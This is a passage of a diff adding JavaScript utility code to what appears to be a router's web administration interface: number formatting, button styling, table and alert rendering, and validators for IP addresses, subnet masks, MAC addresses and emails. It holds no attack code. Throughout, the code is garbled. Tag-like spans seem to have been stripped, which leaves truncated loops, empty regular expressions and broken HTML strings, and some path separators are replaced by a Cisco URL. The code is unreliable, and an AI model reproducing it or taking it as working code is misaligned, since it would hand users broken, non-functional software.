c=RegExp.$3; + var re = new RegExp(); + re.compile("(\\d)(\\d{3})(,|$)"); + while(re.test(b)) + { + if ( now_lang == "EN" ) + b = b.replace(re, "$1,$2$3"); + else + b = b.replace(re, "$1.$2$3"); + } + return a+""+b+""+c; + +} + +function bt(x,st) +{ + var obj = document.getElementById(x); + if ( st == "move" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Hover.jpg')"; + obj.style.border="1px solid #1fa0d5"; + obj.style.borderwidth="thick thin"; + } + else if ( st == "out" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Normal.jpg')"; + obj.style.border="1px solid #53636a"; + obj.style.borderwidth="thick thin"; + } + else if ( st == "down" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Press.jpg')"; + obj.style.border="1px solid #1fa0d5"; + obj.style.borderwidth="thick thin"; + }else if ( st == "disabled" ) + { + obj.style.background="url('https://www.cisco.com/image/BT_Disabled.jpg')"; + obj.style.border="1px solid #8e8e8e"; + obj.style.borderwidth="thick thin"; + } +} + +function chg_win_height(obj) +{ + top.document.body.style.overflow="hidden"; + top.document.getElementById(obj).style.height = top.document.body.clientHeight+"px"; + top.document.getElementById(obj).style.width = top.document.body.clientWidth+"px"; + top.document.body.style.overflow="auto"; +} + +function cy_speccode_encode(string) +{ + string = string.toString(); + string = string.replace(/&/g,'&'); + string = string.replace(//g,'>'); + string = string.replace(/"/g,'"'); + string = string.replace(/'/g,'''); + string = string.replace(/:/g,';'); + string = string.replace(/ /g,' '); + string = string.replace(/@/g,'©'); + return string; +} + +function cy_speccode_decode(string) +{ + string = string.toString(); + string = string.replace(/\/g, '\\'); + string = string.replace(/'/g, '\''); + string = string.replace(/&/g, '&'); + string = string.replace(/</g, '<'); + string = string.replace(/</g, '<'); + string = string.replace(/>/g, '>'); + string = string.replace(/>/g, '>'); + string = string.replace(/"/g, '"'); + string = string.replace(/;/g, ':'); + string = string.replace(/ /g, ' '); + string = string.replace(/&/g, '&'); + string = string.replace(/©/g, '@'); + return string; +} + +function string_break(len,src) +{ + var line = parseInt(src.length/len) ; + var i ,dst="" ; + if ( line == 0 ) return src; + if ( parseInt(src%len) != 0 ) line ++ ; + for(i=0; i"; + src = src.substring(len,src.length); + } + return dst ; +} + +function alert_result(val) +{ + if ( val == 1 ) + { + parent.document.getElementById("GUI_LOCK").value = 0; + parent.document.getElementById("rightframe").src = document.getElementById("newpage").value; + } + else + { + parent.document.getElementById("GUI_LOCK").value = 0; + } + + parent.document.getElementById("div_alert").style.display="none"; + //if ( document.getElementById("c1") ) + // choose_enable( document.getElementById("c1") ) ; + //if ( document.getElementById("c3") ) + // choose_enable( document.getElementById("c3") ) ; +} + +function chg_layout(){//O -> obj_id, 1-> Firefox style, 2-> IE style + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + if ( document.getElementById("divcontent") ){ + if ( Browser == "IE" ) + document.getElementById("divcontent").className="content_layer"; + else + document.getElementById("divcontent").className="content_layer_f"; + } + // Add session key + if ( close_session != "1" ) + { + if ( document.getElementById("frm") ) + { + document.getElementById("frm").action = goto_link(document.getElementById("frm").action); + //alert(document.getElementById("frm").action); + } + } + var wps_ap_role = "proxy" ; + var wps_result='0'; + if ( (wps_result == "3" || wps_result == "4") && wps_ap_role == "withReg" ) + get_position("Wireless_WPS-asp.htm"); +} + +function hideHint(obj_id){ + //document.getElementById("div_msg"+obj_id).innerHTML =""; + document.getElementById("div"+obj_id).style.display="none"; +} + +function showHint(img_id,obj_id,e){ + if ( document.getElementById(img_id).style.display == "none" || + document.getElementById("div_msg"+obj_id).innerHTML == "" ) return; + var s = document.getElementById("div"+obj_id); + var content_width = parseInt(top.document.body.clientWidth,10)-(15+5+170+15); + var obj_pos=0; + s.style.display=""; + + if ( window.event ) + { + obj_pos=content_width-e.x; + s.style.pixelTop = e.y+document.body.scrollTop+15; + s.style.top = e.pageY+15+"px";// + if ( obj_pos < 0 ) + { + s.style.pixelLeft = e.x+document.body.scrollLeft+obj_pos; + s.style.left = e.pageX+obj_pos+"px";// + } + else + { + if ( obj_pos < 200 ) + { + s.style.pixelLeft = e.x+document.body.scrollLeft-obj_pos; + s.style.left = e.pageX-obj_pos+"px";// + } + else + { + s.style.pixelLeft = e.x+document.body.scrollLeft-15; + s.style.left = e.pageX-15+"px";// + } + } + }else{ // Firefox + obj_pos = content_width-e.pageX; + s.style.top = e.pageY+15+"px"; + if ( obj_pos < 0 ) + s.style.left = e.pageX+obj_pos+"px"; + else{ + if ( obj_pos < 200 ) + s.style.left = e.pageX-obj_pos+"px"; + else + s.style.left = e.pageX-15+"px"; + } + } + +} + +function del_row(obj_id,flg) +{ + // table message + document.getElementById("tmsg").innerHTML = __T(msg.tablemsg); + document.getElementById("tmsg").style.display=""; + // disabled the add and edit button + choose_disable(document.getElementById("t2")); + choose_disable(document.getElementById("t3")); + +// if ( flg == 1 ) +// document.getElementById("tr_table"+obj_id).className= "TABLECONTENT_DEL_1"; +// else + document.getElementById("tr_table"+obj_id).className= "TABLECONTENT_DEL"; +} + +function edit_row(namelist,objlist,obj_id) +{ + if ( document.getElementById("tmsg") ) + { + document.getElementById("tmsg").innerHTML = __T(msg.tablemsg); + document.getElementById("tmsg").style.display=""; + } + // disable add and del button + choose_disable(document.getElementById("t2")); + choose_disable(document.getElementById("t4")); + + for(var i=0; i=0 ) /// windows-based path + return path.substr(x+1); + x = path.lastIndexOf('https://www.cisco.com/'); + if ( x>=0 ) //Unix-based path + return path.substr(x+1); + return path; + } +} + +function trans_16to2(val) +{ + var str="",tmpstr=""; + var tmp=""; + if ( typeof val == "undefined" ) return str; + var cnt=0, tmplen=val.length; + if ( val == "0" ) + { + for(var i=0; i<16; i++) + str+="0"; + return str; + } + for(var j=0; j<4-tmplen; j++) + val="0"+val; + for(var i=0; i 1 ) + { + while(1) + { + if ( tmp > 1 ) + { + if ( parseInt(tmp/2,10) > 0 )tmpstr=(tmp%2)+tmpstr; + else tmpstr=parseInt(tmp/2,10)+tmpstr; + tmp=parseInt(tmp/2,10); + } + else + { + tmpstr=tmp+tmpstr; + tmp=0; + } + cnt++; + if ( cnt == 4 ){ + break; + } + } + str+=tmpstr; + for(var j=0; j<4-cnt; j++) str+="0"; + }else + { + for(var j=0; j<3; j++) str+="0"; + str+=tmp; + } + } + return str; +} + +function trans_2to16(val) +{ + var total = parseInt(val.charAt(3),10)+ + parseInt(val.charAt(2),10)*2+ + parseInt(val.charAt(1),10)*4+ + parseInt(val.charAt(0),10)*8; + if ( total == 15 ) return "F"; + else if ( total == 14 ) return "E"; + else if ( total == 13 ) return "D"; + else if ( total == 12 ) return "C"; + else if ( total == 11 ) return "B"; + else if ( total == 10 ) return "A"; + else return total; + +} + +function trans_time_format(H,M,T) +{ + var tmp_hour, tmp_min; + var tmpval=0, tmp_T=0; + if ( T == "pm" ) + tmp_T=12; + else if( T == "am" ) + tmp_T=0; + if ( parseInt(H,10) == 12 ) + tmp_hour = tmp_T; + else + tmp_hour = parseInt(H,10)+tmp_T; + if ( tmp_T.length < 2 ) tmp_T = "0"+tmp_T; + if ( parseInt(M,10) < 10 ) + tmp_min = "0"+M; + else + tmp_min = M; + return tmp_hour+":"+tmp_min; +} + +/* +enum { + RANGE_ERR = 1, + SPACE_ERR, + FORMAT_ERR, + HEADER_ERR, + TYPE_ERR, + REPEAT_ERR +};*/ +/* flg = 0, "Configuration settings have been saved successfully" + * flg = 1, "Upgrade Fail" + * flg = 2, "Invalid language file." + * flg = 3, "The firmware version is up to date" + * flg = 4, "The firmware is invalid" + * flg = 5, "Download firmware fail. Please try it again later" + * flg = 6, "USB flash drive is not found" + * flg = 7, "Store file fail" + * flg = 8, "Store file success" + * */ + +function get_result_msg(filename,flg) +{ + + if ( flg == 0 ) + return __T(msg.configsuccess); + else if (flg == 6 ) + return __T(usbupgrade.nousb); + else if (flg == 7 ) + return __T(usbupgrade.savefail); + else if (flg == 8 ) + return __T(usbupgrade.savesuccess); + else{ + /* + if ( typeof(args[2])!='undefined' ) + { + if ( + }else{ */ + if ( filename == "upgrade-asp.htm" ) + { + if ( flg == 1 ) + return __T(msg.invalidfw); + else if ( flg == 2 ) + return __T(msg.invalidlang); + else if ( flg == 3) + return __T(bsd.fw_st_same); + else if ( flg == 4) + return __T(bsd.fw_st_invalid); + else if ( flg == 5) + return __T(bsd.fw_st_nofw); + + } + //else if ( filename == "vpn_client-asp.htm" || filename == "backup-asp.htm" ) + else if ( filename == "vpn_client-asp.htm") + return __T(msg.invalidcfg); + else if( filename == "backup-asp.htm") + { + if (flg == 1) + return __T(msg.invalidcfg); + else if(flg == 2) + return __T(mang.seederror); + else if(flg == 3) + return __T(mang.filechange); + } + else if ( filename == "man_cerificate-asp.htm" ) + return __T(msg.invalidcert); + else if ( filename == "users-asp.htm" ) + return __T(msg.invaliduser); + else if ( filename == "Wireless_welcome_edit-asp.htm" ) + return __T(msg.invalidimage); + else if ( filename == "authap-asp.htm" && flg == 1 ) + return spell_words(max_rule,AUTHAP_ENTRY,__T(wl.authaps)); + else + return __T(msg.configfail); + //} + + } +} + +function cal_submask(F,obj_id,ret_obj_id,option) +{ + var ipaddr; + var sub_ip; + var ipval = document.getElementById(obj_id).value; + + if( parseInt(option,10) != 4) return; + ipaddr = ipval.split(/\./); + + if((ipaddr[0] >= 1) && (ipaddr[0] <= 127)) + sub_ip = "255.0.0.0"; + else if((ipaddr[0] >= 128) && (ipaddr[0] <= 191)) + sub_ip = "255.255.0.0"; + else + sub_ip = "255.255.255.0"; + + document.getElementById(ret_obj_id).value = sub_ip; +} + +function get_extra_help(nowhelp) +{ + nowhelp+="-asp.htm"; + //alert("now_page="+parent.document.getElementById("now_page").value); + for(var i=0; i"+args[2]+""; + } + else if ( FUNNAME == SUBTITLE){ + td_code = ""+args[2]+""; + } + else if ( FUNNAME == SUBTITLE_NOSHIFT){ + td_code = ""+args[2]+""; + } + else if ( FUNNAME == SUBTITLE_M ){ + td_code = ""; + } + else if ( FUNNAME == SUBTITLE_MSG ){ + td_code = ""; + } + else if ( FUNNAME == ISHR ){ + td_code = "
      "; + } + else if ( FUNNAME == TABLETD_SINGLE_LINE ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_R ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_C ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_FIRST ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_FIRST_R ) + { + td_code=""; + td_code += args[2]+""; + }else if ( FUNNAME == TABLETD_SINGLE_LINE_FIRST_C ) + { + td_code=""; + td_code += args[2]+""; + } + else if ( FUNNAME == TABLETD_TAIL ) + { + td_code=""; + td_code+=args[3]+""; + }else if ( FUNNAME == TABLETD_TAIL_R ) + { + td_code=""; + td_code+=args[3]+""; + }else if ( FUNNAME == TABLETD_TAIL_C ) + { + td_code=""; + td_code+=args[3]+""; + }else if ( FUNNAME == MAINFUN ) + { + td_code=""+args[2]+"
      Success status message here
      "; + } + else if ( FUNNAME == ICONLINE ){ + + td_code ="
      "+args[3]+"
      "; + }else if ( FUNNAME == CREATE_EDIT_TABLE ){ + var tmp = args[2].split(","); + var field_count = tmp.length; + var row_span = ""; + if ( typeof args[12] != "undefined" ) + row_span = args[12].split(","); + var col_span = ""; + if ( typeof args[13] != "undefined" ) + col_span = args[13].split(","); + var tmp_width=0; + td_code+=""; + td_code +=""; + for(var i=0; i"; + tmp_width+=parseInt(tmp[i],10); + } + if ( tmp_width < 100 ) + { + td_code+=""; + field_count++; + } + td_code+="
      "+args[3]+""+args[10]+"
      "; + else + td_code+=" class=TABLETITLE>"+args[3]+""; + + if ( args[7] != "" && typeof args[7] != 'undefined') + td_code+=""+args[7]+""; + td_code+=""; + var tmp_title = args[4].split(","); + if (typeof row_span[1] != "undefined" && row_span.length > 0 ) + var titlelen = row_span.length+1; + else + var titlelen = tmp_title.length; + var tmp_align = ""; + if ( args[9] != "" && typeof args[9] != 'undefined') + tmp_align = args[9].split(","); + for(var i=0; i 0 ) + { + td_code+=""; + for(var i=0; i"; + td_code+=""; + if ( ( args[5] != "" && typeof args[5] != 'undefined') || ( args[6] != "" && typeof args[6] != 'undefined')) + td_code+="  "; + td_code+=__T(msg.nodata)+""; + if ( args[5] != "" && typeof args[5] != 'undefined'){ + td_code+=""; + else + td_code+=" class=TABLECONTENT_CMD_TAIL>"; + tmp = args[5].split(","); + for(var i=0; i"; + } + if ( args[6] != "" && typeof args[6] != 'undefined') + { + td_code+=""; + else + td_code+=" class=TABLECONTENT_CMD_TAIL>"; + for(var i=0; i"; + } + td_code+=""; + + }else if ( FUNNAME == PWDLINE ){ + td_code="" + td_code+="" + } + if ( out_type == O_GUI ) document.write(td_code); + else return td_code; +} + +//ARG0=TYPE +//ARG1-NAME +//ARG2=DEFAULT VAL +var IP=1; +var SELBOX=2; +var RADIO=3; +var BT=4; +var TABLE_BT=5; +function draw_object() +{ + var args = new Array; + var _val=new Array; + var selflg=""; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + if ( args[0] == "" ) return; + var out_type = parseInt(args[0],10); + var FUNNAME=parseInt(args[1],10); + var tmp=""; + if ( FUNNAME == IP ) + { + if ( args[3] != "" ) + _val = args[3].split("."); + for(var j=0; j<4; j++) + { + if ( j!=0 && j!=j-1) tmp+="."; + if ( typeof _val[j] == "undefined" ) _val[j] = ""; + tmp += ""; + } + }else if ( FUNNAME == SELBOX ){ + tmp = ""; + }else if ( FUNNAME == RADIO){ + for(var j=0; j"+args[4][j]; + } + }else if ( FUNNAME == BT ){ + if ( args[2] == __T(share.save) && args[4]=="" ) + { + if ( args[2].length > 11 ) args[4] = "BT_AUTO"; + else args[4] = "BT"; + tmp = ""; + } + else if ( args[2] == __T(share.cancel) && args[4]=="" ) + { + if ( args[2].length > 11 ) args[4] = "BT_AUTO"; + else args[4] = "BT"; + tmp = ""; + }else{ + if ( args[2].length > 23 ) args[4] = "BT_AUTO"; + if ( args[4] == "BT" && args[2].length > 11 ) args[4] = "BT_AUTO"; + tmp = ""; + + } + }else if ( FUNNAME == TABLE_BT ){ + tmp = "
      "; + tmp += ""; + tmp += ""+args[5]+"
      "; + } + if ( out_type == O_GUI ) document.write(tmp); + else return tmp; + +} + +function my_alert(){ + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + var output = args[0]; + if ( output == O_MSG ) + { + alert(args[1]); + return; + }else if( output == O_GUI ){ + parent.document.getElementById("GUI_LOCK").value = 1; + parent.document.getElementById("alert_type").value = ""; + parent.document.getElementById("alert_title").innerHTML = ""; + parent.document.getElementById("alert_content").innerHTML = ""; + parent.document.getElementById("alert_type").value = args[1]; + parent.document.getElementById("alert_title").innerHTML = args[2]; + parent.document.getElementById("alert_content").innerHTML = args[3]; + parent.document.getElementById("div_alert").style.display=""; + if ( args[1] == WARNING ) + { + var okbt = __T(share.sok); + var cabt = __T(share.cancel); + var okstyle = "BT"; + var castyle = "BT"; + if ( args[7] != "" && args[7] == "yesno" ) + { + okbt = __T(filter.yes); + cabt = __T(filter.no); + okstyle = "BT_S"; + castyle = "BT_S"; + } + //added by yu in 2013.04.25 + if ( args[7] != "" && args[7] == "bsd" ) + { + okbt = __T("Upgrade Now"); + okstyle = "BT_L"; + castyle = "BT"; + } + + parent.document.getElementById("alert_logo").src=WARN_ICON_PATH; + if ( args[6] != "" && args[6] == "wizard" ) + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,okbt,"a1",okstyle,"parent.document.getElementById(\"wizard\").contentWindow."+args[4]) + draw_object(O_VAR,BT,cabt,"a2",castyle,"parent.document.getElementById(\"wizard\").contentWindow."+args[5]); + } + else{ + if(args[7] != "" && args[7] == "bsd" ){ + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,okbt,"a1",okstyle,""+args[4]) + draw_object(O_VAR,BT,cabt,"a2",castyle,""+args[5]); + parent.document.getElementById("close_icon").innerHTML=""; + } + else + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,okbt,"a1",okstyle,"parent.content_area."+args[4]) + draw_object(O_VAR,BT,cabt,"a2",castyle,"parent.content_area."+args[5]); + parent.document.getElementById("close_icon").innerHTML=""; + } + } + } + else if ( args[1] == ERROR ) + { + parent.document.getElementById("alert_logo").src=ERROR_ICON_PATH; + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","alert_result(0)"); + } + else + { + parent.document.getElementById("alert_logo").src=INFO_ICON_PATH; + if ( args[4] != "" ) + { + if ( args[5] != "" && args[5] == "wizard" ) + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","parent.document.getElementById(\"wizard\").contentWindow."+args[4]); + } + else if ( args[5] != "" && args[5] == "bsd" ) + { + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S",args[4]); + parent.document.getElementById("close_icon").innerHTML=""; + } + else{ + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","parent.content_area."+args[4]); + parent.document.getElementById("close_icon").innerHTML=""; + } + }else + parent.document.getElementById("alert_bt").innerHTML= draw_object(O_VAR,BT,__T(share.sok),"a1","BT_S","alert_result(0)"); + parent.document.getElementById("close_icon").innerHTML=""; + } + }else if ( output == O_VAR ){ + var obj = parent.document.getElementById("rightframe").contentWindow; + obj.document.getElementById(args[4]).className = "ERRMSG"; + if ( args[2] != "") + { + if ( args[5] != "" && args[5] != 0 ) + obj.document.getElementById(args[4]).innerHTML = ""+args[2]; + else + obj.document.getElementById(args[4]).innerHTML = ""+args[2]; + } + if ( args[3] != "" && args[3] != 0 ) + { + for(var k=0; k 63)) + return __T(msg.validname); + + if(!preg_match('^[A-Za-z0-9\\-]+$',val)) + return __T(msg.hostnameformat1); + + if (val.charAt(0) == "-" || val.charAt(val.length-1) == "-" ) + return __T(msg.hostnameformat1); + return ""; +} + +function my_valid_email(val,obj_id,span_id) +{ + clear_msg(obj_id,span_id); + if(!valid_email(val)) + { + parent.document.getElementById("obj_id").value = span_id; + my_alert(O_VAR,obj_id,__T(syslog.emailfail),"0",span_id); + return false; + } + return true; +} + +function valid_email(e) +{ + var isValid = PASS; //1:success, 0:fail + var eindex=e.lastIndexOf("@"); + + if(eindex <= 0) + isValid = FAIL; + else + { + var domain_value = e.substr(eindex+1,e.length); + var local_value = e.substr(0,eindex); + var domain_len = domain_value.length; + var local_len = local_value.length; + var local_replace = str_replace("\\\\","\\",local_value); + + if((local_len < 1) || (local_len > 64)) + isValid = FAIL; + else if((domain_len < 1) || (domain_len > 255)) + isValid = FAIL; + else if((local_value.charAt(0) == '.') || (local_value.charAt(local_len-1) == '.')) + isValid = FAIL; + else if(preg_match('\\.\\.',local_value)) + isValid = FAIL; + else if(!preg_match('^[A-Za-z0-9\\-\\.]+$',domain_value)) + isValid = FAIL; + else if(preg_match('\\.\\.',domain_value)) + isValid = FAIL; + else if(!preg_match('^(\\\\.|[A-Za-z0-9!#%&`_=\\/$\'*+?^{}|~.-])+$',local_replace)) + { + if(!preg_match('^"(\\\\"|[^"])+"$',local_replace)) + isValid = FAIL; + } + } + return isValid; +} + +function valid_email_server(val) +{ + var val_len = val.length; + if((val_len < 1) || (val_len > 255)) + return false; + else if(!preg_match('^[A-Za-z0-9\\-\\.]+$',val)) + return false; + else if(preg_match('\\.\\.',val)) + return false; + return true; +} + +function preg_match(regStr,str) +{ + var re = new RegExp(regStr); + return re.test(str); +} + +var DIGIT=0; +var XDIGIT=1; +var ASCII=2; +var ISCHAR=3; +var IDNAME=4; + +function chk_chartype(val,type) +{ + var i,ch; + for(i=0 ; i '9') + return FAIL; + break; + case XDIGIT: + if(ch >= '0' && ch <= '9' || ch >= 'a' && ch <= 'f') + break; + return FAIL; + case ASCII: + if(ch < ' ' || ch > '~') + return FAIL; + break; + case ISCHAR: + if( ch.search(/^[A-Za-z0-9-]/i) == -1 ) + return FAIL; + break; + case IDNAME: + if( ch.search(/^[A-Za-z0-9-_()-]/i) == -1 ) + return FAIL; + break; + } + } + return PASS; +} + +function mac12to17(val) +{ + var tmp=""; + if ( val.indexOf(":") != -1 || val.length != 12 ) return val; + for(var i=0; i<12; i+=2) + { + if ( tmp != "" ) tmp+=":"; + tmp+=val.substring(0,2); + val = val.substring(2,val.length); + } + return tmp; +} + +function valid_macs_all(I) +{ + //I = ignoreSpaces(I); + I = str_replace(" ","",I); + var tmp; + if(I != "") + { + if(I == "00:00:00:00:00:00" || I == "000000000000") + { + return __T(msg.mac1); + } + else if(I.length == 12) + { + tmp = mac12to17(I); + return valid_macs_17(tmp); + } + else if(I.length == 17) + { + return valid_macs_17(I); + } + else + { + return __T(msg.mac2); + } + return ""; + }else{ + return __T(msg.mac3); + } + return ""; +} + +function valid_macs_17(I) +{ + if ( I == "00:00:00:00:00:00" ) return __T(msg.mac1); + var mac = I; + var m = mac.split(":"); + if (m.length != 6) + { + return __T(msg.mac3); + } + for(var i in m) + { + if((!chk_chartype(m[i],XDIGIT)) || ((m[i].length != 1) && (m[i].length != 2))) + { + return __T(msg.mac4); + } + } + + mac = mac.toUpperCase(); + if((parseInt(mac.charAt(1), 16) & 1) == 1) + { + return __T(msg.mac5); + } + + I = mac; + return ""; +} + +//Modify by emily for meaning name used. 2011/1/25 +//1.Cannot be blank, for example: +// valid_meaning_name("",ZERO_NO) return BLANK_ERR; +//2.Leading and tailing cannot be blank on meaning name field, for example: +// valid_meaning_name(" test ",ZERO_NO) return LEAD_TAIL_SPACE_ERR; +// Leading and tailing will auto removed on id name field. +//3.Support ASCII 33 to 126, for example: +// valid_meaning_name("test 123",ZERO_NO|SPACE_NO) return MIDDLE_SPACE_ERR; +// ID_NAME means only for identification. +var MEANING_NAME=0; +var ID_NAME=1; +function valid_meaning_id_name(type,I,flag,obj_id) +{ + if( type == ID_NAME ) + { + I = I.replace(/^\s*/,""); + I = I.replace(/\s*$/,""); + if( !chk_chartype(I,IDNAME) ) + return __T(msg.nameformat1); + if ( obj_id != null ) + document.getElementById(obj_id).value = I; + } + if ( flag & ZERO_NO ) + { + if ( I == "" ) return __T(msg.notblank); + } + if( chk_chartype(I,ASCII) == true ) + { + if(type == MEANING_NAME ) + { + if(I.search(/^\s/) != -1 || I.search(/\s$/) !=-1 ) + { + if ( flag & SPACE_OK ) return ""; + return __T(msg.notleadtailblank); + } + } + if(flag & SPACE_NO){ + if(I.search(/\s/) != -1 ) + return __T(msg.middlespace); + } + return ""; + } + return __T(msg.validname); +} +var FORMAT_ERROR=-1; +var CHARTYPE_ERROR=-2; +var ZERONO_ERROR=-3; +var BCSTNO_ERROR=-4; +var SUBNET_ERROR=-5; + +function valid_mask(F,N,flag,span_id){ + var obj_cnt=0; + if ( eval("F."+N+"_0") ) + obj_cnt=4; // focus all + var errmsg = valid_mask_msg(F,N,flag); + if ( errmsg != "" ) + { + my_alert(O_VAR,N,errmsg,obj_cnt,span_id); + return false; + } + return true; +} + +function valid_mask_msg(F,N,flag) +{ + var errmsg = check_mask(F,N,flag); + if ( errmsg == FORMAT_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == CHARTYPE_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == ZERONO_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == BCSTNO_ERROR ) + return __T(msg.maskillegal); + else if ( errmsg == SUBNET_ERROR ) + return __T(msg.maskillegal); + return ""; + +} + +function check_mask(F,N,flag){ + var match0 = -1; + var match1 = -1; + var m, obj_cnt=0; + if ( eval("F."+N+"_0") ){ + obj_cnt=4; // focus all + m = new Array(4); + for(i=0;i<4;i++) + { + if ( document.getElementById(N+"_"+i).value.length>1 && + document.getElementById(N+"_"+i).value.substring(0,1)=="0" ) + { + document.getElementById(N+"_"+i).value = parseInt(eval("F."+N+"_"+i).value,10); + } + m[i] = document.getElementById(N+"_"+i).value; + } + }else{ + m = eval("F."+N).value.split("."); + } + if ( m.length != 4 ) + { + return FORMAT_ERROR; + } + for(var i=0; i<4; i++) + { + if ( chk_chartype(m[i],DIGIT) == FAIL ) + { + return CHARTYPE_ERROR; + } + } + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_NO){ + return ZERONO_ERROR; + } + } + + if(m[0] == "255" && m[1] == "255" && m[2] == "255" && m[3] == "255"){ + if(flag & BCST_NO){ + return BCSTNO_ERROR; + } + } + + for(i=3;i>=0;i--){ + for(j=1;j<=8;j++){ + if((m[i] % 2) == 0) match0 = (3-i)*8 + j; + else if(((m[i] % 2) == 1) && match1 == -1) match1 = (3-i)*8 + j; + m[i] = Math.floor(m[i] / 2); + } + } + if(match0 > match1){ + return SUBNET_ERROR; + } + var tmpip=""; + var tmpm=""; + if ( eval("F."+N) ){ + tmpm = eval("F."+N).value.split("."); + for(var i=0; i<4; i++) + { + if ( tmpip != "" ) tmpip+="."; + tmpip += parseInt(tmpm[i],10); + } + eval("F."+N).value = tmpip; + } + return true; +} + +function chk_range(obj_id,val,start,end,th) +{ + if ( th != "nochg" && val != "" && val.length>1 && val.substring(0,1)=="0") + { + document.getElementById(obj_id).value=parseInt(val,10); + } + if ( typeof th == 'undefined' || th == "nochg" ) th=10; + if ( th == 10 ) + if ( !chk_chartype(val,DIGIT) ) return FAIL; + else if ( th == 16 ) + if ( !chk_chartype(val,XDIGIT) ) return FAIL; + var d = parseInt(val,th); + if ( !(d<=parseInt(end,th) && d>=parseInt(start,th)) ) return FAIL; + return PASS; + +} + +//TYPE 1: FIELD ERROR +// my_alert(O_VAR,[object ID],[Error Message],[Error count],[SPAN ID],[ARROW DIRECTION]); +// +//TYPE 2: TABLE ERROR +// table_msg([TABLE ID],[IMAGE ID],[Div ID],[object index],[Error Message]); +var IS_FIELD=0; +var IS_TABLE=1; +function msg_chk_range(obj_val,obj_id,start,to,th,errtype){//args[0]~args[5] + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + if ( errtype == IS_FIELD ) + clear_msg(obj_id,args[7]); + else + clear_table_msg("",args[7],obj_id,args[9]); + //alert("obj_id="+obj_id+";obj_val="+obj_val+";start="+start+";to="+to); + if ( chk_range(obj_id,obj_val,start,to,th) == FAIL ) + { + if ( errtype == IS_FIELD ) + { + parent.document.getElementById("obj_id").value = args[7]; + my_alert(O_VAR,obj_id,spell_words(range_rule,start,to),args[6],args[7],args[8]); + }else{ + document.getElementById(args[6]).innerHTML = __T(share.tableerrmsg); + document.getElementById(args[6]).style.display=""; + table_msg(args[7],obj_id,args[8],args[9],spell_words(range_rule,start,to)); + document.getElementById("tmsg").style.display="none"; + } + return false; + } + return true; +} + +function my_valid_m_value(){ + var args = new Array; + for(var i=0; i<10; i++) + { + args[i] = arguments[i]; + args[i] = typeof(args[i])!='undefined'?args[i]:''; + } + + for(var i=0; i<4; i++) + document.getElementById(args[2]+"_"+i).style.backgroundColor=""; + if ( args[0] == "IP" ) + { + if ( check_ipv4(get_full_ip(args[1],args[2]),args[4],args[5]) <= 0 ) + { + my_alert(O_VAR,args[2],__T(msg.validname),4,args[6]); + return false; + } + } + else if ( args[0] == "MASK" ) + { + document.getElementById(args[4]).innerHTML = ""; + if ( !valid_mask(args[1],args[2],args[3],args[4]) ) + return false; + } + return true; +} + +var IPV4_FORMAT_ERR=-1; +var IPV4_ZERO_ERR=-2; +var IPV4_RANGE_ERR=-3; +var IPV4_MULTCAST_ERR=-4; +var IPV4_SUBNET_ERR=-5; +var IPV4_LANSUBNET_ERR=-6; +var IPV4_NOLANSUBNET_ERR=-7; + +function check_ipv4(ipaddr,rule,flag){ + //alert("check_ipv4(): ipaddr="+ipaddr+";rule="+rule); + var m = ipaddr.split("."); + if ( m.length != 4 ) + return IPV4_FORMAT_ERR; + + if(m[0] == "0" && m[1] == "0" && m[2] == "0" && m[3] == "0"){ + if(flag & ZERO_OK) return PASS; + return IPV4_ZERO_ERR; + } + + // check range + var tmp = rule.split("."); + var range; + var returnval; + for(var j=0; j<4; j++) + { + returnval = chk_chartype(m[j],DIGIT); + range = tmp[j].split("-"); + + if ( returnval == PASS ) + { + returnval = chk_range("",m[j],range[0],range[1],"nochg"); + } + if ( returnval != PASS ) + return IPV4_RANGE_ERR; + } + + + if(m[0] == 127 || m[0] == 224){ + return IPV4_MULTICAST_ERR; + } + + if((m[0] != "0" || m[1] != "0" || m[2] != "0") && m[3] == "0"){ + if(flag & MASK_NO){ + return IPV4_SUBNET_ERR; + } + } + if ( flag & LANSUBNET_OK ) + { + if ( !lan_subnet_ip(ipaddr) ) return IPV4_LANSUBNET_ERR; + } + if ( flag & LANSUBNET_NO ) + { + if ( lan_subnet_ip(ipaddr) ) return IPV4_NOLANSUBNET_ERR; + } + return PASS; +} + +function valid_ip_in_subnet(ip_val,mask_val) +{ + var ip = ip_val.split("."); + var mask = mask_val.split("."); + var subnet_ip="",broadcast_ip=""; + + if ( ip.length != 4 || mask.length != 4 ) return false; + for(var i=0; i<4; i++) + { + if ( subnet_ip != "" ) subnet_ip +="."; + subnet_ip += parseInt(ip[i],10)&parseInt(mask[i],10); + if ( broadcast_ip != "" ) broadcast_ip += "."; + if ( parseInt(mask[i],10) == 255 ) + broadcast_ip += ip[i]; + else if ( parseInt(mask[i],10) 